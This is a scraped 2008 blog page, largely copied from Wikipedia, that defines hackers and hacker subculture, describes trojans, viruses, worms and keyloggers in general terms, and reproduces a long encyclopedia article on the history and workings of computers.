http://www.downloadyoutubevideos.com/

2008-06-14T02:18:00.000-07:00

In computer security, a hacker is someone who focuses on security mechanisms of computer and network systems. While including those who endeavor to strengthen such mechanisms, it is more often used by the mass media and popular culture to refer to those who seek access despite these security measures. That is, the media portrays the 'hacker' as a villain. Nevertheless, parts of the subculture see their aim in correcting security problems and use the word in a positive sense. They operate under a code of the Hacker Ethic, which acknowledges that breaking into other people's computers is bad, but that discovering and exploiting security mechanisms and breaking into computers is still an interesting activity that can be done ethically and legally. Accordingly, the term bears strong connotations that are favorable or pejorative, depending on the context.

The subculture around such hackers is termed network hacker subculture, hacker scene or computer underground. It initially developed in the context of phreaking during the 1960s and the microcomputer BBS scene of the 1980s. It is implicated with 2600: The Hacker Quarterly and the alt.2600 newsgroup.

By 1983, hacking in the sense of breaking computer security had already been in use as computer jargon,[12] but there was no public awareness about such activities.[13] However, the release of the movie WarGames that year raised the public belief that computer security hackers (especially teenagers) could be a threat to national security. This concern became real when a gang of teenage hackers in Milwaukee, Wisconsin known as The 414s broke into computer systems throughout the United States and Canada, including those of Los Alamos National Laboratory, Sloan-Kettering Cancer Center and Security Pacific Bank. The case quickly grew media attention,[14][8] and 17-year-old Neal Patrick emerged as the spokesman for the gang, including a cover story in Newsweek entitled "Beware: Hackers at play", with Patrick's photograph on the cover.[9] The Newsweek article appears to be the first use of the word hacker by the mainstream media in the pejorative sense.

As a result of news coverage, congressman Dan Glickman called for an investigation and new laws about computer hacking.[15] Neal Patrick testified before the U.S. House of Representatives on September 26, 1983 about the dangers of computer hacking, and six bills concerning computer crime were introduced in the House that year.[16] As a result of these laws against computer criminality, white hat, grey hat and black hat hackers try to distinguish themselves from each other, depending on the legality of their activities.

Types Of Virus

2008-06-14T02:11:00.000-07:00

Trojan horse

A Trojan horse is a program designed as to seem to being or be doing one thing, such as a legitimate software, but actually being or doing another. They are not necessarily malicious programs but can be. A trojan horse can be used to set up a back door in a computer system so that the intruder can return later and gain access. Viruses that fool a user into downloading and/or executing them by pretending to be useful applications are also sometimes called trojan horses. (The name refers to the horse from the Trojan War, with conceptually similar function of deceiving defenders into bringing an intruder inside.)

Virus

A virus is a self-replicating program that spreads by inserting copies of itself into other executable code or documents. Thus, a computer virus behaves in a way similar to a biological virus, which spreads by inserting itself into living cells.

Worm

Like a virus, a worm is also a self-replicating program. The difference between a virus and a worm is that a worm does not create multiple copies of itself on one system: it propagates through computer networks. After the comparison between computer viruses and biological viruses, the obvious comparison here is to a bacterium. Many people conflate the terms "virus" and "worm", using them both to describe any self-propagating program. It is possible for a program to have the blunt characteristics of both a worm and a virus.

Key loggers

Key loggers are used by hackers to spy on a target computer or system by recording the keys pressed by users, thereby capturing useful information such as passwords when they are typed by users. Key loggers can also be used for safety, such as when police forces use them to spy on chat rooms and enable them to find pedophiles.

Hacker attitudes

2008-06-14T02:07:00.000-07:00

The term "Hacker" may mean simply a person with mastery of computers; however the mass media most often uses "Hacker" as synonymous with a (usually criminal) computer intruder. See hacker, and Hacker definition controversy. In computer security, several subgroups with different attitudes and aims use different terms to demarcate themselves from each other, or try to exclude some specific group with which they do not agree.

White hat

A white hat hacker or ethical hacker is someone who breaks security but who does so for altruistic or at least non-malicious reasons. White hats generally have a clearly defined code of ethics, and will often attempt to work with a manufacturer or owner to improve discovered security weaknesses, although many reserve the implicit or explicit threat of public disclosure after a "reasonable" time as a prod to ensure timely response from a corporate entity. The term is also used to describe hackers who work to deliberately design and code more secure systems. To white hats, the darker the hat, the more the ethics of the activity can be considered dubious. Conversely, black hats may claim the lighter the hat, the more the ethics of the activity are lost.

Blue Hat

A blue hat hacker is someone outside computer security consulting firms that are used to bug test a system prior to its launch, looking for exploits so they can be closed. Microsoft also uses the term BlueHat to represent a series of security briefing events

Black Hat

A black hat hacker is someone who subverts computer security without authorization or who uses technology (usually a computer or the Internet) for terrorism, vandalism (malicious destruction), credit card fraud, identity theft, intellectual property theft, or many other types of crime. This can mean taking control of a remote computer through a network, or software cracking.

Script kiddie

A script kiddie is a person, usually not an expert in computer security, who breaks into computer systems by using pre-packaged automated tools written by others.

Hacktivist
A hacktivist is a hacker who utilizes technology to announce a political message. Web vandalism is not necessarily hacktivism.

Introduction Of Hacking

2008-06-14T02:06:00.000-07:00

In a security context, a hacker is someone involved in computer security/insecurity, specializing in the discovery of exploits in systems (for exploitation or prevention), or in obtaining or preventing unauthorized access to systems through skills, tactics and detailed knowledge. In the most common general form of this usage, "hacker" refers to a black-hat hacker (a malicious or criminal hacker). There are also ethical hackers (more commonly referred to as white hats), and those more ethically ambiguous (grey hats). To disambiguate the term hacker, often cracker is used instead, referring either to computer security hacker culture as a whole to demarcate it from the academic hacker culture (such as by Eric S. Raymond[1]) or specifically to make a distinction within the computer security context between black-hat hackers and the more ethically positive hackers (commonly known as the white-hat hackers). The context of computer security hacking forms a subculture which is often referred to as the network hacker subculture or simply the computer underground. According to its adherents, cultural values center around the idea of creative and extraordinary computer usage. Proponents claim to be motivated by artistic and political ends, but are often unconcerned about the use of criminal means to achieve them.
Artifacts and customs
Contrary to the academic hacker subculture, networking hackers have no inherently close connection to the academic world. They have a tendency to work anonymously and in private.[citation needed] It is common among them to use aliases for the purpose of concealing identity, rather than revealing their real names. This practice is uncommon within and even frowned upon by the academic hacker subculture.[citation needed] Members of the network hacking scene are often being stereotypically described as crackers by the academic hacker subculture, yet see themselves as hackers and even try to include academic hackers in what they see as one wider hacker culture, a view harshly rejected by the academic hacker subculture itself. Instead of a hacker – cracker dichotomy, they give more emphasis to a spectrum of different categories, such as white hat (“ethical hacking”), grey hat, black hat and script kiddie. In contrast to the academic hackers, they usually reserve the term cracker to refer to black hat hackers, or more generally hackers with unlawful intentions.

The network hacking subculture is supported by regular gatherings, so called Hacker cons. These have drawn more and more people every year including SummerCon (Summer), DEF CON, HoHoCon (Christmas), PumpCon (Halloween), H.O.P.E. (Hackers on Planet Earth) and HEU (Hacking at the End of the Universe). They have helped expand the definition and solidify the importance of the network hacker subculture. In Germany, members of the subculture are organized mainly around the Chaos Computer Club

The subculture has given birth to what its many members consider to be novel forms of art, most notably ascii art. It has also produced its own slang and various forms of unusual alphabet use, for example leetspeak. Both things are usually seen as an especially silly aspect by the academic hacker subculture. In part due to this, the slangs of the two subcultures differ substantially. Political attitude usually includes views for freedom of information, freedom of speech, a right for anonymity and most have a strong opposition against copyright.[citation needed] Writing programs and performing other activities to support these views is referred to as hacktivism by the subculture. Some go as far as seeing illegal cracking ethically justified for this goal; the most common form is website defacement

Computer History

2008-06-14T02:03:00.000-07:00

Computer
• Learn more about citing Wikipedia •Jump to: navigation, search
This article is about the machine. For other uses, see Computer (disambiguation).
"Computer technology" redirects here. For the company, see Computer Technology Limited.
Look up computer in
Wiktionary, the free dictionary.
The NASA Columbia Supercomputer.A computer is a machine that manipulates data according to a list of instructions.

The first devices that resemble modern computers date to the mid-20th century (around 1940 - 1945), although the computer concept and various machines similar to computers existed earlier. Early electronic computers were the size of a large room, consuming as much power as several hundred modern personal computers.[1] Modern computers are based on tiny integrated circuits and are millions to billions of times more capable while occupying a fraction of the space.[2] Today, simple computers may be made small enough to fit into a wristwatch and be powered from a watch battery. Personal computers, in various forms, are icons of the Information Age and are what most people think of as "a computer"; however, the most common form of computer in use today is the embedded computer. Embedded computers are small, simple devices that are used to control other devices — for example, they may be found in machines ranging from fighter aircraft to industrial robots, digital cameras, and children's toys.

The ability to store and execute lists of instructions called programs makes computers extremely versatile and distinguishes them from calculators. The Church–Turing thesis is a mathematical statement of this versatility: any computer with a certain minimum capability is, in principle, capable of performing the same tasks that any other computer can perform. Therefore, computers with capability and complexity ranging from that of a personal digital assistant to a supercomputer are all able to perform the same computational tasks given enough time and storage capacity.

Contents [hide]
1 History of computing
2 Stored program architecture
2.1 Programs
2.2 Example
3 How computers work
3.1 Control unit
3.2 Arithmetic/logic unit (ALU)
3.3 Memory
3.4 Input/output (I/O)
3.5 Multitasking
3.6 Multiprocessing
3.7 Networking and the Internet
4 Further topics
4.1 Hardware
4.2 Software
4.3 Programming languages
4.4 Professions and organizations
5 See also
6 Notes
7 References

History of computing
Main article: History of computer hardware

The Jacquard loom was one of the first programmable devices.It is difficult to identify any one device as the earliest computer, partly because the term "computer" has been subject to varying interpretations over time. Originally, the term "computer" referred to a person who performed numerical calculations (a human computer), often with the aid of a mechanical calculating device.

The history of the modern computer begins with two separate technologies - that of automated calculation and that of programmability.

Examples of early mechanical calculating devices included the abacus, the slide rule and arguably the astrolabe and the Antikythera mechanism (which dates from about 150-100 BC). The end of the Middle Ages saw a re-invigoration of European mathematics and engineering, and Wilhelm Schickard's 1623 device was the first of a number of mechanical calculators constructed by European engineers. However, none of those devices fit the modern definition of a computer because they could not be programmed.

Hero of Alexandria (c. 10 – 70 AD) built a mechanical theater which performed a play lasting 10 minutes and was operated by a complex system of ropes and drums that might be considered to be a means of deciding which parts of the mechanism performed which actions - and when.[3] This is the essence of programmability. In 1801, Joseph Marie Jacquard made an improvement to the textile loom that used a series of punched paper cards as a template to allow his loom to weave intricate patterns automatically. The resulting Jacquard loom was an important step in the development of computers because the use of punched cards to define woven patterns can be viewed as an early, albeit limited, form of programmability.

It was the fusion of automatic calculation with programmability that produced the first recognizable computers. In 1837, Charles Babbage was the first to conceptualize and design a fully programmable mechanical computer that he called "The Analytical Engine".[4] Due to limited finances, and an inability to resist tinkering with the design, Babbage never actually built his Analytical Engine.

Large-scale automated data processing of punched cards was performed for the U.S. Census in 1890 by tabulating machines designed by Herman Hollerith and manufactured by the Computing Tabulating Recording Corporation, which later became IBM. By the end of the 19th century a number of technologies that would later prove useful in the realization of practical computers had begun to appear: the punched card, Boolean algebra, the vacuum tube (thermionic valve) and the teleprinter.

During the first half of the 20th century, many scientific computing needs were met by increasingly sophisticated analog computers, which used a direct mechanical or electrical model of the problem as a basis for computation. However, these were not programmable and generally lacked the versatility and accuracy of modern digital computers.

Defining characteristics of some early digital computers of the 1940s (See History of computing hardware) Name First operational Numeral system Computing mechanism Programming Turing complete
Zuse Z3 (Germany) May 1941 Binary Electro-mechanical Program-controlled by punched film stock Yes (1998)
Atanasoff–Berry Computer (USA) Summer 1941 Binary Electronic Not programmable—single purpose No
Colossus (UK) December 1943 Binary Electronic Program-controlled by patch cables and switches No
Harvard Mark I – IBM ASCC (USA) 1944 Decimal Electro-mechanical Program-controlled by 24-channel punched paper tape (but no conditional branch) Yes (1998)
ENIAC (USA) November 1945 Decimal Electronic Program-controlled by patch cables and switches Yes
Manchester Small-Scale Experimental Machine (UK) June 1948 Binary Electronic Stored-program in Williams cathode ray tube memory Yes
Modified ENIAC (USA) September 1948 Decimal Electronic Program-controlled by patch cables and switches plus a primitive read-only stored programming mechanism using the Function Tables as program ROM Yes
EDSAC (UK) May 1949 Binary Electronic Stored-program in mercury delay line memory Yes
Manchester Mark I (UK) October 1949 Binary Electronic Williams cathode ray tube memory and magnetic drum memory Yes
CSIRAC (Australia) November 1949 Binary Electronic Stored-program in mercury delay line memory Yes

A succession of steadily more powerful and flexible computing devices were constructed in the 1930s and 1940s, gradually adding the key features that are seen in modern computers. The use of digital electronics (largely invented by Claude Shannon in 1937) and more flexible programmability were vitally important steps, but defining one point along this road as "the first digital electronic computer" is difficult (Shannon 1940). Notable achievements include:

EDSAC was one of the first computers to implement the stored program (von Neumann) architecture.Konrad Zuse's electromechanical "Z machines". The Z3 (1941) was the first working machine featuring binary arithmetic, including floating point arithmetic and a measure of programmability. In 1998 the Z3 was proved to be Turing complete, therefore being the world's first operational computer.
The non-programmable Atanasoff–Berry Computer (1941) which used vacuum tube based computation, binary numbers, and regenerative capacitor memory.
The secret British Colossus computers (1943)[5], which had limited programmability but demonstrated that a device using thousands of tubes could be reasonably reliable and electronically reprogrammable. It was used for breaking German wartime codes.
The Harvard Mark I (1944), a large-scale electromechanical computer with limited programmability.
The U.S. Army's Ballistics Research Laboratory ENIAC (1946), which used decimal arithmetic and is sometimes called the first general purpose electronic computer (since Konrad Zuse's Z3 of 1941 used electromagnets instead of electronics). Initially, however, ENIAC had an inflexible architecture which essentially required rewiring to change its programming.
Several developers of ENIAC, recognizing its flaws, came up with a far more flexible and elegant design, which came to be known as the stored program architecture or von Neumann architecture. This design was first formally described by John von Neumann in the paper "First Draft of a Report on the EDVAC", published in 1945. A number of projects to develop computers based on the stored program architecture commenced around this time, the first of these being completed in Great Britain. The first to be demonstrated working was the Manchester Small-Scale Experimental Machine (SSEM) or "Baby". However, the EDSAC, completed a year after SSEM, was perhaps the first practical implementation of the stored program design. Shortly thereafter, the machine originally described by von Neumann's paper—EDVAC—was completed but did not see full-time use for an additional two years.

Nearly all modern computers implement some form of the stored program architecture, making it the single trait by which the word "computer" is now defined. By this standard, many earlier devices would no longer be called computers by today's definition, but are usually referred to as such in their historical context. While the technologies used in computers have changed dramatically since the first electronic, general-purpose computers of the 1940s, most still use the von Neumann architecture. The design made the universal computer a practical reality.

Microprocessors are miniaturized devices that often implement stored program CPUs.Vacuum tube-based computers were in use throughout the 1950s. Vacuum tubes were largely replaced in the 1960s by transistor-based computers. When compared with tubes, transistors are smaller, faster, cheaper, use less power, and are more reliable. In the 1970s, integrated circuit technology and the subsequent creation of microprocessors, such as the Intel 4004, caused another generation of decreased size and cost, and another generation of increased speed and reliability. By the 1980s, computers became sufficiently small and cheap to replace simple mechanical controls in domestic appliances such as washing machines. The 1980s also witnessed home computers and the now ubiquitous personal computer. With the evolution of the Internet, personal computers are becoming as common as the television and the telephone in the household.

Stored program architecture
Main articles: Computer program and Computer programming
The defining feature of modern computers which distinguishes them from all other machines is that they can be programmed. That is to say that a list of instructions (the program) can be given to the computer and it will store them and carry them out at some time in the future.

In most cases, computer instructions are simple: add one number to another, move some data from one location to another, send a message to some external device, etc. These instructions are read from the computer's memory and are generally carried out (executed) in the order they were given. However, there are usually specialized instructions to tell the computer to jump ahead or backwards to some other place in the program and to carry on executing from there. These are called "jump" instructions (or branches). Furthermore, jump instructions may be made to happen conditionally so that different sequences of instructions may be used depending on the result of some previous calculation or some external event. Many computers directly support subroutines by providing a type of jump that "remembers" the location it jumped from and another instruction to return to the instruction following that jump instruction.

Program execution might be likened to reading a book. While a person will normally read each word and line in sequence, they may at times jump back to an earlier place in the text or skip sections that are not of interest. Similarly, a computer may sometimes go back and repeat the instructions in some section of the program over and over again until some internal condition is met. This is called the flow of control within the program and it is what allows the computer to perform tasks repeatedly without human intervention.

Comparatively, a person using a pocket calculator can perform a basic arithmetic operation such as adding two numbers with just a few button presses. But to add together all of the numbers from 1 to 1,000 would take thousands of button presses and a lot of time—with a near certainty of making a mistake. On the other hand, a computer may be programmed to do this with just a few simple instructions. For example:

mov #0,sum ; set sum to 0
mov #1,num ; set num to 1
loop: add num,sum ; add num to sum
add #1,num ; add 1 to num
cmp num,#1000 ; compare num to 1000
ble loop ; if num <= 1000, go back to 'loop'
halt ; end of program. stop running
Once told to run this program, the computer will perform the repetitive addition task without further human intervention. It will almost never make a mistake and a modern PC can complete the task in about a millionth of a second.[6]

However, computers cannot "think" for themselves in the sense that they only solve problems in exactly the way they are programmed to. An intelligent human faced with the above addition task might soon realize that instead of actually adding up all the numbers one can simply use the equation

and arrive at the correct answer (500,500) with little work.[7] In other words, a computer programmed to add up the numbers one by one as in the example above would do exactly that without regard to efficiency or alternative solutions.

Programs

A 1970s punched card containing one line from a FORTRAN program. The card reads: "Z(1) = Y + W(1)" and is labelled "PROJ039" for identification purposes.In practical terms, a computer program might include anywhere from a dozen instructions to many millions of instructions for something like a word processor or a web browser. A typical modern computer can execute billions of instructions every second and nearly never make a mistake over years of operation.

Large computer programs may take teams of computer programmers years to write and the probability of the entire program having been written completely in the manner intended is unlikely. Errors in computer programs are called bugs. Sometimes bugs are benign and do not affect the usefulness of the program, in other cases they might cause the program to completely fail (crash), in yet other cases there may be subtle problems. Sometimes otherwise benign bugs may be used for malicious intent, creating a security exploit. Bugs are usually not the fault of the computer. Since computers merely execute the instructions they are given, bugs are nearly always the result of programmer error or an oversight made in the program's design.[8]

In most computers, individual instructions are stored as machine code with each instruction being given a unique number (its operation code or opcode for short). The command to add two numbers together would have one opcode, the command to multiply them would have a different opcode and so on. The simplest computers are able to perform any of a handful of different instructions; the more complex computers have several hundred to choose from—each with a unique numerical code. Since the computer's memory is able to store numbers, it can also store the instruction codes. This leads to the important fact that entire programs (which are just lists of instructions) can be represented as lists of numbers and can themselves be manipulated inside the computer just as if they were numeric data. The fundamental concept of storing programs in the computer's memory alongside the data they operate on is the crux of the von Neumann, or stored program, architecture. In some cases, a computer might store some or all of its program in memory that is kept separate from the data it operates on. This is called the Harvard architecture after the Harvard Mark I computer. Modern von Neumann computers display some traits of the Harvard architecture in their designs, such as in CPU caches.

While it is possible to write computer programs as long lists of numbers (machine language) and this technique was used with many early computers,[9] it is extremely tedious to do so in practice, especially for complicated programs. Instead, each basic instruction can be given a short name that is indicative of its function and easy to remember—a mnemonic such as ADD, SUB, MULT or JUMP. These mnemonics are collectively known as a computer's assembly language. Converting programs written in assembly language into something the computer can actually understand (machine language) is usually done by a computer program called an assembler. Machine languages and the assembly languages that represent them (collectively termed low-level programming languages) tend to be unique to a particular type of computer. For instance, an ARM architecture computer (such as may be found in a PDA or a hand-held videogame) cannot understand the machine language of an Intel Pentium or the AMD Athlon 64 computer that might be in a PC.[10]

Though considerably easier than in machine language, writing long programs in assembly language is often difficult and error prone. Therefore, most complicated programs are written in more abstract high-level programming languages that are able to express the needs of the computer programmer more conveniently (and thereby help reduce programmer error). High level languages are usually "compiled" into machine language (or sometimes into assembly language and then into machine language) using another computer program called a compiler.[11] Since high level languages are more abstract than assembly language, it is possible to use different compilers to translate the same high level language program into the machine language of many different types of computer. This is part of the means by which software like video games may be made available for different computer architectures such as personal computers and various video game consoles.

The task of developing large software systems is an immense intellectual effort. Producing software with an acceptably high reliability on a predictable schedule and budget has proved historically to be a great challenge; the academic and professional discipline of software engineering concentrates specifically on this problem.

Example

A traffic light showing red.Suppose a computer is being employed to drive a traffic light. A simple stored program might say:

Turn off all of the lights
Turn on the red light
Wait for sixty seconds
Turn off the red light
Turn on the green light
Wait for sixty seconds
Turn off the green light
Turn on the yellow light
Wait for two seconds
Turn off the yellow light
Jump to instruction number (2)
With this set of instructions, the computer would cycle the light continually through red, green, yellow and back to red again until told to stop running the program.

However, suppose there is a simple on/off switch connected to the computer that is intended to be used to make the light flash red while some maintenance operation is being performed. The program might then instruct the computer to:

Turn off all of the lights
Turn on the red light
Wait for sixty seconds
Turn off the red light
Turn on the green light
Wait for sixty seconds
Turn off the green light
Turn on the yellow light
Wait for two seconds
Turn off the yellow light
If the maintenance switch is NOT turned on then jump to instruction number 2
Turn on the red light
Wait for one second
Turn off the red light
Wait for one second
Jump to instruction number 11
In this manner, the computer is either running the instructions from number (2) to (11) over and over or its running the instructions from (11) down to (16) over and over, depending on the position of the switch.[12]

How computers work
Main articles: Central processing unit and Microprocessor
A general purpose computer has four main sections: the arithmetic and logic unit (ALU), the control unit, the memory, and the input and output devices (collectively termed I/O). These parts are interconnected by busses, often made of groups of wires.

The control unit, ALU, registers, and basic I/O (and often other hardware closely linked with these) are collectively known as a central processing unit (CPU). Early CPUs were composed of many separate components but since the mid-1970s CPUs have typically been constructed on a single integrated circuit called a microprocessor.

Control unit
Main articles: CPU design and Control unit
The control unit (often called a control system or central controller) directs the various components of a computer. It reads and interprets (decodes) instructions in the program one by one. The control system decodes each instruction and turns it into a series of control signals that operate the other parts of the computer.[13] Control systems in advanced computers may change the order of some instructions so as to improve performance.

A key component common to all CPUs is the program counter, a special memory cell (a register) that keeps track of which location in memory the next instruction is to be read from.[14]

Diagram showing how a particular MIPS architecture instruction would be decoded by the control system.The control system's function is as follows—note that this is a simplified description, and some of these steps may be performed concurrently or in a different order depending on the type of CPU:

Read the code for the next instruction from the cell indicated by the program counter.
Decode the numerical code for the instruction into a set of commands or signals for each of the other systems.
Increment the program counter so it points to the next instruction.
Read whatever data the instruction requires from cells in memory (or perhaps from an input device). The location of this required data is typically stored within the instruction code.
Provide the necessary data to an ALU or register.
If the instruction requires an ALU or specialized hardware to complete, instruct the hardware to perform the requested operation.
Write the result from the ALU back to a memory location or to a register or perhaps an output device.
Jump back to step (1).
Since the program counter is (conceptually) just another set of memory cells, it can be changed by calculations done in the ALU. Adding 100 to the program counter would cause the next instruction to be read from a place 100 locations further down the program. Instructions that modify the program counter are often known as "jumps" and allow for loops (instructions that are repeated by the computer) and often conditional instruction execution (both examples of control flow).

It is noticeable that the sequence of operations that the control unit goes through to process an instruction is in itself like a short computer program - and indeed, in some more complex CPU designs, there is another yet smaller computer called a microsequencer that runs a microcode program that causes all of these events to happen.

Arithmetic/logic unit (ALU)
Main article: Arithmetic logic unit
The ALU is capable of performing two classes of operations: arithmetic and logic.

The set of arithmetic operations that a particular ALU supports may be limited to adding and subtracting or might include multiplying or dividing, trigonometry functions (sine, cosine, etc) and square roots. Some can only operate on whole numbers (integers) whilst others use floating point to represent real numbers—albeit with limited precision. However, any computer that is capable of performing just the simplest operations can be programmed to break down the more complex operations into simple steps that it can perform. Therefore, any computer can be programmed to perform any arithmetic operation—although it will take more time to do so if its ALU does not directly support the operation. An ALU may also compare numbers and return boolean truth values (true or false) depending on whether one is equal to, greater than or less than the other ("is 64 greater than 65?").

Logic operations involve Boolean logic: AND, OR, XOR and NOT. These can be useful both for creating complicated conditional statements and processing boolean logic.

Superscalar computers contain multiple ALUs so that they can process several instructions at the same time. Graphics processors and computers with SIMD and MIMD features often provide ALUs that can perform arithmetic on vectors and matrices.

Memory
Main article: Computer storage

Magnetic core memory was popular main memory for computers through the 1960s until it was completely replaced by semiconductor memory.A computer's memory can be viewed as a list of cells into which numbers can be placed or read. Each cell has a numbered "address" and can store a single number. The computer can be instructed to "put the number 123 into the cell numbered 1357" or to "add the number that is in cell 1357 to the number that is in cell 2468 and put the answer into cell 1595". The information stored in memory may represent practically anything. Letters, numbers, even computer instructions can be placed into memory with equal ease. Since the CPU does not differentiate between different types of information, it is up to the software to give significance to what the memory sees as nothing but a series of numbers.

In almost all modern computers, each memory cell is set up to store binary numbers in groups of eight bits (called a byte). Each byte is able to represent 256 different numbers; either from 0 to 255 or -128 to +127. To store larger numbers, several consecutive bytes may be used (typically, two, four or eight). When negative numbers are required, they are usually stored in two's complement notation. Other arrangements are possible, but are usually not seen outside of specialized applications or historical contexts. A computer can store any kind of information in memory as long as it can be somehow represented in numerical form. Modern computers have billions or even trillions of bytes of memory.

The CPU contains a special set of memory cells called registers that can be read and written to much more rapidly than the main memory area. There are typically between two and one hundred registers depending on the type of CPU. Registers are used for the most frequently needed data items to avoid having to access main memory every time data is needed. Since data is constantly being worked on, reducing the need to access main memory (which is often slow compared to the ALU and control units) greatly increases the computer's speed.

Computer main memory comes in two principal varieties: random access memory or RAM and read-only memory or ROM. RAM can be read and written to anytime the CPU commands it, but ROM is pre-loaded with data and software that never changes, so the CPU can only read from it. ROM is typically used to store the computer's initial start-up instructions. In general, the contents of RAM is erased when the power to the computer is turned off while ROM retains its data indefinitely. In a PC, the ROM contains a specialized program called the BIOS that orchestrates loading the computer's operating system from the hard disk drive into RAM whenever the computer is turned on or reset. In embedded computers, which frequently do not have disk drives, all of the software required to perform the task may be stored in ROM. Software that is stored in ROM is often called firmware because it is notionally more like hardware than software. Flash memory blurs the distinction between ROM and RAM by retaining data when turned off but being rewritable like RAM. However, flash memory is typically much slower than conventional ROM and RAM so its use is restricted to applications where high speeds are not required.[15]

In more sophisticated computers there may be one or more RAM cache memories which are slower than registers but faster than main memory. Generally computers with this sort of cache are designed to move frequently needed data into the cache automatically, often without the need for any intervention on the programmer's part.

Input/output (I/O)
Main article: Input/output

Hard disks are common I/O devices used with computers.I/O is the means by which a computer receives information from the outside world and sends results back. Devices that provide input or output to the computer are called peripherals. On a typical personal computer, peripherals include input devices like the keyboard and mouse, and output devices such as the display and printer. Hard disk drives, floppy disk drives and optical disc drives serve as both input and output devices. Computer networking is another form of I/O.

Often, I/O devices are complex computers in their own right with their own CPU and memory. A graphics processing unit might contain fifty or more tiny computers that perform the calculations necessary to display 3D graphics[citation needed]. Modern desktop computers contain many smaller computers that assist the main CPU in performing I/O.

Multitasking
Main article: Computer multitasking
While a computer may be viewed as running one gigantic program stored in its main memory, in some systems it is necessary to give the appearance of running several programs simultaneously. This is achieved by having the computer switch rapidly between running each program in turn. One means by which this is done is with a special signal called an interrupt which can periodically cause the computer to stop executing instructions where it was and do something else instead. By remembering where it was executing prior to the interrupt, the computer can return to that task later. If several programs are running "at the same time", then the interrupt generator might be causing several hundred interrupts per second, causing a program switch each time. Since modern computers typically execute instructions several orders of magnitude faster than human perception, it may appear that many programs are running at the same time even though only one is ever executing in any given instant. This method of multitasking is sometimes termed "time-sharing" since each program is allocated a "slice" of time in turn.

Before the era of cheap computers, the principle use for multitasking was to allow many people to share the same computer.

Seemingly, multitasking would cause a computer that is switching between several programs to run more slowly - in direct proportion to the number of programs it is running. However, most programs spend much of their time waiting for slow input/output devices to complete their tasks. If a program is waiting for the user to click on the mouse or press a key on the keyboard, then it will not take a "time slice" until the event it is waiting for has occurred. This frees up time for other programs to execute so that many programs may be run at the same time without unacceptable speed loss.

Multiprocessing
Main article: Multiprocessing

Cray designed many supercomputers that used multiprocessing heavily.Some computers may divide their work between one or more separate CPUs, creating a multiprocessing configuration. Traditionally, this technique was utilized only in large and powerful computers such as supercomputers, mainframe computers and servers. However, multiprocessor and multi-core (multiple CPUs on a single integrated circuit) personal and laptop computers have become widely available and are beginning to see increased usage in lower-end markets as a result.

Supercomputers in particular often have highly unique architectures that differ significantly from the basic stored-program architecture and from general purpose computers.[16] They often feature thousands of CPUs, customized high-speed interconnects, and specialized computing hardware. Such designs tend to be useful only for specialized tasks due to the large scale of program organization required to successfully utilize most of the available resources at once. Supercomputers usually see usage in large-scale simulation, graphics rendering, and cryptography applications, as well as with other so-called "embarrassingly parallel" tasks.

Networking and the Internet
Main articles: Computer networking and Internet

Visualization of a portion of the routes on the Internet.Computers have been used to coordinate information between multiple locations since the 1950s. The U.S. military's SAGE system was the first large-scale example of such a system, which led to a number of special-purpose commercial systems like Sabre.

In the 1970s, computer engineers at research institutions throughout the United States began to link their computers together using telecommunications technology. This effort was funded by ARPA (now DARPA), and the computer network that it produced was called the ARPANET. The technologies that made the Arpanet possible spread and evolved. In time, the network spread beyond academic and military institutions and became known as the Internet. The emergence of networking involved a redefinition of the nature and boundaries of the computer. Computer operating systems and applications were modified to include the ability to define and access the resources of other computers on the network, such as peripheral devices, stored information, and the like, as extensions of the resources of an individual computer. Initially these facilities were available primarily to people working in high-tech environments, but in the 1990s the spread of applications like e-mail and the World Wide Web, combined with the development of cheap, fast networking technologies like Ethernet and ADSL saw computer networking become almost ubiquitous. In fact, the number of computers that are networked is growing phenomenally. A very large proportion of personal computers regularly connect to the Internet to communicate and receive information. "Wireless" networking, often utilizing mobile phone networks, has meant networking is becoming increasingly ubiquitous even in mobile computing environments.

Further topics

Hardware
Main article: Computer hardware
The term hardware covers all of those parts of a computer that are tangible objects. Circuits, displays, power supplies, cables, keyboards, printers and mice are all hardware.

History of computing hardware First Generation (Mechanical/Electromechanical) Calculators Antikythera mechanism, Difference Engine, Norden bombsight
Programmable Devices Jacquard loom, Analytical Engine, Harvard Mark I, Z3
Second Generation (Vacuum Tubes) Calculators Atanasoff–Berry Computer, IBM 604, UNIVAC 60, UNIVAC 120
Programmable Devices Colossus, ENIAC, Manchester Small-Scale Experimental Machine, EDSAC, Manchester Mark I, CSIRAC, EDVAC, UNIVAC I, IBM 701, IBM 702, IBM 650, Z22
Third Generation (Discrete transistors and SSI, MSI, LSI Integrated circuits) Mainframes IBM 7090, IBM 7080, System/360, BUNCH
Minicomputer PDP-8, PDP-11, System/32, System/36
Fourth Generation (VLSI integrated circuits) Minicomputer VAX, IBM System i
4-bit microcomputer Intel 4004, Intel 4040
8-bit microcomputer Intel 8008, Intel 8080, Motorola 6800, Motorola 6809, MOS Technology 6502, Zilog Z80
16-bit microcomputer 8088, Zilog Z8000, WDC 65816/65802
32-bit microcomputer 80386, Pentium, 68000, ARM architecture
64-bit microcomputer[17] x86-64, PowerPC, MIPS, SPARC
Embedded computer 8048, 8051
Personal computer Desktop computer, Home computer, Laptop computer, Personal digital assistant (PDA), Portable computer, Tablet computer, Wearable computer
Theoretical/experimental Quantum computer, Chemical computer, DNA computing, Optical computer, Spintronics based computer
Other Hardware Topics Peripheral device (Input/output) Input Mouse, Keyboard, Joystick, Image scanner
Output Monitor, Printer
Both Floppy disk drive, Hard disk, Optical disc drive, Teleprinter
Computer busses Short range RS-232, SCSI, PCI, USB
Long range (Computer networking) Ethernet, ATM, FDDI

Software
Main article: Computer software
Software refers to parts of the computer which do not have a material form, such as programs, data, protocols, etc. When software is stored in hardware that cannot easily be modified (such as BIOS ROM in an IBM PC compatible), it is sometimes called "firmware" to indicate that it falls into an uncertain area somewhere between hardware and software.

Computer software Operating system Unix/BSD UNIX System V, AIX, HP-UX, Solaris (SunOS), IRIX, List of BSD operating systems
GNU/Linux List of Linux distributions, Comparison of Linux distributions
Microsoft Windows Windows 95, Windows 98, Windows NT, Windows 2000, Windows XP, Windows Vista, Windows CE
DOS 86-DOS (QDOS), PC-DOS, MS-DOS, FreeDOS
Mac OS Mac OS classic, Mac OS X
Embedded and real-time List of embedded operating systems
Experimental Amoeba, Oberon/Bluebottle, Plan 9 from Bell Labs
Library Multimedia DirectX, OpenGL, OpenAL
Programming library C standard library, Standard template library
Data Protocol TCP/IP, Kermit, FTP, HTTP, SMTP
File format HTML, XML, JPEG, MPEG, PNG
User interface Graphical user interface (WIMP) Microsoft Windows, GNOME, KDE, QNX Photon, CDE, GEM
